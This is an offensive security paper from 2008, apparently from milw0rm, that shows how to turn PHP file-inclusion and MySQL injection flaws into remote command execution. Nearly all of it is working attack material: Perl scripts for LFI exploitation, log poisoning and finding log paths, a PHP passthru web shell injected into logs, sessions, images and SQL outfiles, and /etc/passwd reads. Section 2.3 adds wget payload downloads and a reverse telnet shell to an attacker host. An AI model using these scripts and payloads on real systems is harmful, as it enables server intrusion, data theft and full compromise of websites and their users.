Web vulnerabilities to gain access to the system

```
|=--------=[ Web vulnerabilities to gain access to the system ]=---------=|
|=-----------------------------------------------------------------------=|
|=----=[ pepelux[at]enye-sec[dot]org - <http://www.enye-sec.org> ]=------=|
|=-----------------------------------------------------------------------=|
|=----=[ spanish translation available in http://www.enye-sec.org ]=-----=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ Oct 12th 2008 ]-=------------------------=|
```

--[Content

---[1 - Introduction

```
There are a lot of vulnerabilities that allow us to exploit a website, all of
them are old and documented. We can found LFI, RFI, SQL, XSS, SSI, ICH and
other attacks. For that reason I'm going to center this paper only in attacks
that allow us access to the system and to execute commands remotely.

It would be bored to write another paper with all types of vulnerabilities,
telling the same you know, for that I'll try to contribute with any new thing
and remember basic concepts superficially.



---[ 2 - Local and Remote File Inclusion (LFI/RFI)

----[ 2.1 - Introduction

This type of attacks are well known and basically consists in to read system
files using bad programmed PHP pages that make calls to another files by
require, require_once, include or include_once commands. Logically, this calls
must use any variable not initialized. Example:

    require($file);
    require("includes/".$file);
    require("languages/".$lang.".php");
    require("themes/".$tema."/config.php");

The methods to exploit it are well known and I'm not go to detail its, I'm going
to enumerate it only. For example:

Type of call:
    require($file);

Exploit:
    http://host/?file=/etc/passwd

Type of call:
    require("includes/".$file);

Exploit:
    http://host/?file=../../../../../etc/passwd

Tpye of calls:
    require("languages/".$lang.".php");
    require("themes/".$theme."/config.php");

Exploit:
    http://host/?file=../../../../../etc/passwd%00
```

```
Type of call:
    require("languages/".$_COOKIE['lang'].".php");

Exploit:
    javascript:document.cookie = "lan=../../../../../etc/passwd%00";

One script to exploit this type of vulnerabilites, by GET or POST, could be:

lfi.pl
---------------------------------------------
#! /usr/bin/perl

# perl script to exploit LFI based in GET and POST requests
# Example: http://site.com/index.php?var=
#   URL: http://site.com/index.php
#   Variable: var
#   Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
   print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
   print "\tex: perl $0 http://site.com/index.php var GET\n";
   print "\tex: perl $0 http://site.com/index.php var POST\n\n";
   exit 1;
}

$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

while () {
   print "file to edit: ";
   chomp($file=<STDIN>);

   if ($method =~ /GET/) {
      $url = $host."?".$var."=../../../../..".$file."%00";
      $req = HTTP::Request->new(GET => $url);
      $req->header('Accept' => 'text/html');
   }
   else {
      $req = HTTP::Request->new(POST => $host);
      $req->content_type('application/x-www-form-urlencoded');
      $req->content($var."=../../../../".$file."%00");
   }

   $res = $ua->request($req);

   if ($res->is_success) {
      $result = $res->content;
      print $result;
   }
   else { print "Error\n"; }
}
---------------------------------------------



----[ 2.2 - Executing commands remotely

We've seen with this type of vulnerabilities is possible to view any system
file where web user has readable access, but also is possible to execute
system commands. To do that we need to write in any file this php code:
<? passthru($_GET[cmd]) ?>

cmd is the name we put to our variable to send it data by GET.

Now, we only have to search any place where we can write data. How can we do
that? we have several methods:



-----[ 2.2.1 - Injecting PHP code into apache logs

We know that apache server saves logs of all operations, in access_log and
error_log. We can play with registered datas and try to inject PHP code.

For example, to inject in error_log file is enough to do a call to a
nonexistent page but sending the code we need to write in the file:
    http://host/xxxxxxx=<? passthru(\$_GET[cmd]) ?>

This will add a line into error_log injecting the code we have written. And
now? we only have to load this file with the same method we did before and send
by cmd variable the command we'd like to execute:
    http://host/?file=../../../var/apache/error_log&cmd=ls /etc
    http://host/?file=../../../var/apache/error_log&cmd=uname -a

But, how can we know the apache logs location? It depends of the operating
system and the sysadmin. One option is to search typical directories where
logs are saved:
    /var/log/apache/
    /var/log/httpd/
    /usr/local/apache/logs/
    ......

In a shared server we can see this situation:
    /path/host.com/www
                  /logs
                  /data

On this case, to know the path we only have to write a nonexisting file, for
example:
    http://host/?file=xxxx

We will see in the sscreen any similar to this:
    Warning: require(xxxx) [function.require]: failed to open stream: No such
    file or directory in /var/www/host.com/www/p.php on line 2

We can intuit that log files could be in /var/www/host.com/logs

Another method to locate logs path could be viewing httpd.conf config file
where we can see any similar to this:
    ErrorLog /var/log/apache/error.log

Or in the case of a shared server:
    ErrorLog /home/chs/host.com/home/logs/error_log

But as I wrote before, it depends of the operating system, apache version and
the sysadmin, for that is possible logs are not on this location.

We also can locate apache logs path searching in the process table:
/proc/{PID}/fd/{FD_ID} (the problem is that fd directory is only accesible by
the user in some systems).

To locate the PID of our apache session we can make an HTTP request and next
read /proc/self/stat content. Self is a link to the last PID used in the
system, for that, we can read files watching on /proc/self.

Inside /proc/{PID}/fd there are only a few links to analyze, founding access_log
and error_log path. To do this task we are going to use this perl script, that
search all links inside /proc/self/fd/ directory to locate error_log path:

proc.pl
---------------------------------------------
#! /usr/bin/perl

# perl script to serach apache logs path
# Example:
#   URL: http://site/index.php
#   Variable: file
#   Method: POST
```

```
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
   print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
   print "\tex: perl $0 http://site.com/index.php file GET\n";
   print "\tex: perl $0 http://site.com/index.php file POST\n\n";
   exit 1;
}

$ua->agent("<? passthru(\$_GET[cmd]) ?>");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

if ($method =~ /GET/) {
  $url = $host."?".$var."=../../../../proc/self/stat%00";
  $req = HTTP::Request->new(GET => $url);
  $req->header('Accept' => 'text/html');
}
else {
  $req = HTTP::Request->new(POST => $host);
  $req->content_type('application/x-www-form-urlencoded');
  $req->content($var."=../../../../proc/self/stat%00");
}

$res = $ua->request($req);

if ($res->is_success) {
  $result = $res->content;
  $result =~ s/<[^>]*>//g;
  $x = index($result, " ", 0);
  $pid = substr($result, 0, $x);

  print "Apache PID: ".$pid."\n";
}

if ($method =~ /GET/) {
  $url = $host."?".$var."=../../../../proc/self/status%00";
  $req = HTTP::Request->new(GET => $url);
  $req->header('Accept' => 'text/html');
}
else {
  $req = HTTP::Request->new(POST => $host);
```

```
    $req->content_type('application/x-www-form-urlencoded');
    $req->content($var."=../../../../proc/self/status%00");
  }

  $res = $ua->request($req);

  if ($res->is_success) {
    $result = $res->content;
    $result =~ s/<[^>]*>//g;
    $x = index($result, "FDSize",0)+8;
    $fdsize = substr($result, $x, 3);

    print "FD_SIZE: ".$fdsize."\n";
  }

  for ($cont = 0; $cont < $fdsize; $cont++) {
    $file = "../../../../proc/".$pid."/fd/".$cont;
    open FILE, $file;

    while(<FILE>) {
      if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
        print "FD: ".$cont."\n";
        exit;
      }
    }
  }
  --------------------------------------------

  pepelux:~$ perl proc.pl http://host/index.php page GET
      Apache PID: 4191
      FD_SIZE: 64
      FD: 2
```

If the script locate FD is because /proc/{PID}/fd/{FD_ID} is readable by the user and we'll have, on this case, a link to error_log on/proc/4191/fd/2. Modifying the script we could add a call to http://host/?file=/proc/4191/fd/2&cmd=uname -a (see the first script).

We also can make the injection using an URL that doesn't back an error and log operation will be saved on access_log:

```
    http://host/index.php?x=<? passthru(\$_GET[cmd]) ?>
```

Is possible that apache doesn't save correctly the injection or it change <? or ?> with its hex value. On this case we can't do anything by GET and we'd try to send PHP command by POST, for example using perl.

More data saved by apache on access_log and where we can inject are referer or user-agent.

```
We are going to do some tests using this perl script:

cmd.pl
---------------------------------------------
#! /usr/bin/perl

# perl script to inject a CMD in a web LFI vulnerable
# Example:
#   Host: http://host.com
#   type: U
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $type) = @ARGV ;
$code="<? passthru(\$_GET[cmd]) ?>";

unless($ARGV[1]) {
   print "Usage: perl $0 <url> [URI|UAG|REF]\n";
   print "\tURI: URI\n";
   print "\tUAG: User-Agent\n";
   print "\tREF: Referer\n\n";
   print "\tex: perl $0 http://host.com URI\n";
   exit 1;
}

$host = "http://".$host if ($host !~ /^http:/);

if ($type =~ /UAG/) { $ua->agent($code); }
else { $ua->agent("Mozilla/5.0"); }

if ($type =~ /URI/) { $$host .= "/" . $code; }

$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content("x=x");

if ($type =~ /REF/) { $req->referer($code); }

$res = $ua->request($req);
---------------------------------------------

Writing in error_log sending a nonexisting URI:
    pepelux:~$ perl cmd.pl http://host.com/blabla URI
```

```
In error_log we can see:
    [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
    exist: /home/chs/host.com/home/html/blabla

Trying with the User-Agent:
    pepelux:~$ perl cmd.pl http://host.com/blabla UAG

In error_log we can see the same:
    [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
    exist: /home/chs/host.com/home/html/blabla

Trying with the Referer:
    pepelux:~$ perl cmd.pl http://host.com/blabla REF

In this case we obtain the injection:
    [Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not
    exist: /home/chs/host.com/home/html/blabla, referer: <? passthru($_GET[cmd])
    ?>

Now we are going to write in access_log that saves more information that
error_log:
    pepelux:~$ perl cmd.pl http://host.com/index.php URI

On this case we obtain:
    11.22.33.44 - - [08/Oct/2008:12:57:39 +0200] "POST
    /index.php/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 301 - "-"
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820
    Firefox/3.0.1"

Trying with the User-Agent:
    pepelux:~$ perl cmd.pl http://host.com/index.php UAG

We obtain the injection:
    11.22.33.44 - - [08/Oct/2008:13:00:05 +0200] "POST
    /index.php HTTP/1.1" 301 - "-" "<? passthru($_GET[cmd]) ?>"

Trying with the Referer:
    pepelux:~$ perl cmd.pl http://host.com/index.php REF

We also obtain the injection:
    11.22.33.44 - - [08/Oct/2008:13:00:56 +0200] "POST
    /index.php HTTP/1.1" 301 - "<? passthru($_GET[cmd]) ?>" "Mozilla/5.0 (X11;
    U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1"


-----[ 2.2.2 - Injecting PHP code into process table

I've found a paper (you can see down the reference) that explains how to inject
```

into /proc/self/environ, that it is an static path we always know. The problem
is that normally this file is only accesible by root and we can't read it.

As I wrote before, /proc/self is a link to the last PID used, for that we don't
need to search our apache process PID because we can access directly by the self
link. Attack consists in make an injection on User-Agent sending after a call to
this file: http://host/?file=../../../proc/self/environ&cmd=uname -a

We'd have to do this with a little script because we have to inject and send
command inmediately before self link changes to another PID process.

-----[2.2.3 - Injecting PHP code into an image

Is very typical to found websites that allow us to upload images (for example,
avatars) that are saved in the server. But what would happend if we upload a
file with the content: <? passthru($_GET[cmd]) ?> but with any image extension?
we colud upload without problems because extension is correct and we'd do a LFI
attack with the same method:

```
    http://host/?file=path/avatar.gif&cmd=uname -a
```

-----[2.2.4 - Injecting PHP code into session files

Suopose this vulnerable code:

```
    <?php
      $user = $_GET['user'];
      session_register("user");
      session_start();
    ?>
```

As we can see, it creates a session variable using a value obtained by GET
without any verifications.

We can send:

```
    http://host/?user=<? passthru($_GET[cmd]) ?>
```

And viewing the cookies of our navigator we can see that:

```
    PHPSESSID=b25ca6fea480073cf8eb840b203d343e
```

Analyzing session folder of our system we can see the content:

```
    pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
             user|s:26:"<? passthru($_GET[cmd]) ?>";
```

As you see, we can inject code on the file that saved our session and we also
can execute commands using this file:

```
    http://host/?file=/tmp/sess_b25ca6fea480073cf8eb840b203d343e&cmd=uname -a
```

```
On this case location file is known and we can select it without problems. If
GET is filtered we can send it using POST.



-----[ 2.2.5 - Injecting PHP code into other files

Normally we don't have access because only root can read this files but is
possible to inject our code in other logs, for example in FTP logs:
    pepelux:~$ ftp host.com
    220 ProFTPD 1.3.1 Server (Debian) [host.com]
    Name (pepelux): <? passthru($_GET[cmd]) ?>
    Password:

If we watch /var/log/proftpd/proftpd.log we can see our code injected:
    Oct 09 21:50:21 host.com proftpd[11190] host.com
    ([11.22.33.44]): USER <? passthru($_GET[cmd]) ?>: no such user found
    from [11.22.33.44] to host.com:21

If the vulnerable server use an old version of webalizer and if it's accessible
by web, we also can use the file usage_DATE.html to execute any code because
this file is generated with the visit statistics using access_log and a bug
that affect old versions of webalizer permits to write HTML code on referer.
For example: Referer: <? passthru($_GET[cmd]) ?>

You only have to do a curl of calls with this referer to enter in the most sent
and appears in the usage_DATE.html file.

In case that apache server admits the PUT command we also can upload a file
with our code:
    pepelux:~$ telnet host.com 80
    Trying 11.22.33.44...
    Connected to host.com.
    Escape character is '^]'.
    OPTIONS / HTTP/1.1

    HTTP/1.1 200 OK
    Date: Sat, 11 Oct 2008 15:06:05 GMT
    Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
    Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
    Content-Length: 0
    Connection: close
    Content-Type: httpd/unix-directory

    Connection closed by foreign host.

To inject:
    pepelux:~$ telnet host.com 80
    Trying 11.22.33.44...
    Connected to host.com.
    Escape character is '^]'.
    PUT /file.txt HTTP/1.1
    Content-Type: text/plain
    Content-Length:26

    <? passthru($_GET[cmd]) ?>
```

----[2.3 - Obtaining a shell

If we can execute commands remotely we can try to upload a shell to have more access to the system.

One method is creating a PHP based shell. We can download it using wget command:

```
    http://host/?file=xxxx&cmd=wget http://devil/shell.txt -O shell.php
```

As we can't download a PHP file by HTTP, we can download a TXT file and save it as PHP.

We also can try to do a reverse telnet:

```
    pepelux:~$ nc -vv -l -p 8888
    pepelux:~$ nc -vv -l -p 8889

    http://host/?file=xxxx&cmd=telnet devil 8888 | /bin/sh | telnet devil 8889
```

----[2.4 - Remote File Inclusion

If allow_url_include is On in php.ini, we can inject a shell directly. Method is the same I've wrote before and it's well known. You only need to load by GET or POST directly to an URI with the shell (using a non PHP extension):

```
    http://host/?file=http://devil.com/shell.txt
    http://host/?file=http://devil.com/shell.txt%00
```

---[3 - Blind SQL Injection

----[3.1 - Introduction

SQL injection attacks are also well known and very docummented. I don't like to write more of the same. I'm going to write only about the techinque that allow to read system files.

----[3.2 - Loading local files

```
With a web vulnerable to SQL injections (this paper is based on MySQL), if the
user used has permissions to do a load_file, we can read any system file, for
example, /etc/passwd.

Example:

Table: users(id int, user char(25), pass char(25), mail char(255));

Datas:
    +---+---------+----------------------------------+--------------+
    | 1 | admin   | 23e4ad2360f4ef4268cb44871375a5cd | admin@host   |
    +---+---------+----------------------------------+--------------+
    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
    +---+---------+----------------------------------+--------------+

Vulnerable code:

<?php
      $iduser = $_GET['$id'];
      $link = mysql_connect("localhost", "mysql_user", "mysql_password");
      mysql_select_db("database", $link);

      $result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
      $row = mysql_fetch_array($result);

      echo "User mail is:" . $row["mail"] . "\n";
?>

We have an unknown table, with unknown fields and a MySQL that doesn't show any
error in the screen.

> correct call that show mail of user 2:
    http://host/?id=2

> we try to reorder query results by SQL injection:
    http://host/?id=2 ORDER BY 1 ... Ok
    http://host/?id=2 ORDER BY 2 ... Ok
    http://host/?id=2 ORDER BY 3 ... Ok
    http://host/?id=2 ORDER BY 4 ... Ok
    http://host/?id=2 ORDER BY 5 ... Error

Why ORDER BY 5 causes an error? if we use ORDER BY 2 we are telling MySQL that
order results by the user, with ORDER BY 3, we tell it that order by pass
column, but as we only have 4 columns on this table, ORDER BY 5 causes an error.

Why is it useful? we can know the number of columns that this table has.
```

```
> modifing the anwser we can see in the screen (we know there are 4 columns):
    http://host/?id=-1 UNION SELECT 1,2,3,4

What do it? It we search the user with ID=-1, it response with 0 results and it
will create a new line with the injected data. Why do we use ID=-1? We can see a
practical example:

We send:
    http://host/?id=2 UNION SELECT 1,2,3,4

We obtain:
    +---+---------+----------------------------------+-------------+
    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
    +---+---------+----------------------------------+-------------+
    | 1 | 2       | 3                                | 4           |
    +---+---------+----------------------------------+-------------+

As this select only the first line, we'll see in the screen:
    User mail is: pepelux@host

If we put ID=-1 we'll obtain the injected data:

We send:
    http://host/?id=-1 UNION SELECT 1,2,3,4

We obtain:
    +---+---------+----------------------------------+-------------+
    | 1 | 2       | 3                                | 4           |
    +---+---------+----------------------------------+-------------+

In the screen we will see:
    User mail is: 4

> We can use 4th column (that we can see it in the screen) to inject:
    http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');

It will show in the screen /etc/passwd content in the mail user place (this is
possible only if the mysql user used has permissions to execute load_file).

In the case that magic_quotes are On we can use the hex value:
    http://host/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);

A difference between to read files using LFI and to read it using SQL injection
is that the user used to read files is different. On the first case we use the
apache user and on the second case we use the MySQL user. This is not very
important by it can be useful to read same files with different permissions.
```

```
----[ 3.3 - Obtaining data without brute force

Supose this situation with the same vulnerable code as I wrote before:

Table: users(id int, user char(25), pass char(25), mail char(255));

Datas:
    +---+---------+----------------------------------+-------------+
    | 1 | admin   | 23e4ad2360f4ef4268cb44871375a5cd | admin@host   |
    +---+---------+----------------------------------+-------------+
    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
    +---+---------+----------------------------------+-------------+

<?php
      $iduser = $_GET['$id'];
      $link = mysql_connect("localhost", "mysql_user", "mysql_password");
      mysql_select_db("database", $link);

      $result = mysql_query("SELECT * FROM usuarios WHERE id=$iduser", $link);
      $row = mysql_fetch_array($result);

      echo "User mail is:" . $row["mail"] . "\n";
?>

We can see all data of this table if we do that:
    http://host/?id=1 outfile "/tmp/sql.txt"
    http://host/?id=-1 UNION SELECT 1,2,3,load_file('/tmp/sql.txt');

/tmp/sql.txt content is:
    1       admin    23e4ad2360f4ef4268cb44871375a5cd   admin@host

As we can see, we have extracted all data of the user with ID=1 without know the
table name or the fields names. With the same method we can extract all user
fields.

The problem of this attack is that we only can read data of the table that is
used in the query.

Using this technique we can also copy system files in the local directory to
access it by web, for example:
    http://host/?id=-1 union select 1,load_file("/etc/passwd"),1 into outfile
    "/var/www/host.com/www/passwd"

And we can create PHP files. For example:
    http://host/?id=-1 union select 1,"<?phpinfo()?>",1 into outfile
    "/var/www/host.com/www/phpinfo.php"
```

```
----[ 3.4 - Executing commands remotely

We have seen several methods to inject <? passthru($_GET[cmd]) ?> that give us
the possibility to execute commands remotely. Main problem we found is to
locate a file to write the PHP code. With the apache logs is complicated to
find the location and also is possible that the user doesn't have permissions
to read it.

On this case is easy to cause an error that show us in the screen the path of
the website. If we know it we can create a PHP file with the code that allow us
to execute commands:
    http://host/?id=-1 union select 1,"<?passthru($_GET[cmd])?>",1 into outfile
    "/var/www/host.com/www/cmd.php"

Next we only have to do:
    http://host/cmd.php?cmd=uname -a

If the website is vulnerable to LFI attacks we can write the PHP code in any
place that we have writeable permissions. For example in /tmp:

First, we can inject code in a file on /tmp:
    http://host/?id=-1 union select 1,"<? passthru($_GET[cmd]) ?>",1,1 into
    outfile "/tmp/sql.txt"

Next we use LFI to execute commands:
    http://host/?file=../../../tmp/sql.txt&cmd=uname -a


----[ 3.5 - Obtaining a shell

If we have created a file containing our PHP code, the method to obtain a shell
is the same that I described before for LFIs (you can see point 2.3)  :-)




---[ 4 - References

- http://www.g-brain.net/tutorials/local-file-inclusions.txt
- http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt
- http://www.securityfocus.com/bid/3473
- http://dev.mysql.com/doc/

# milw0rm.com [2008-10-12]
```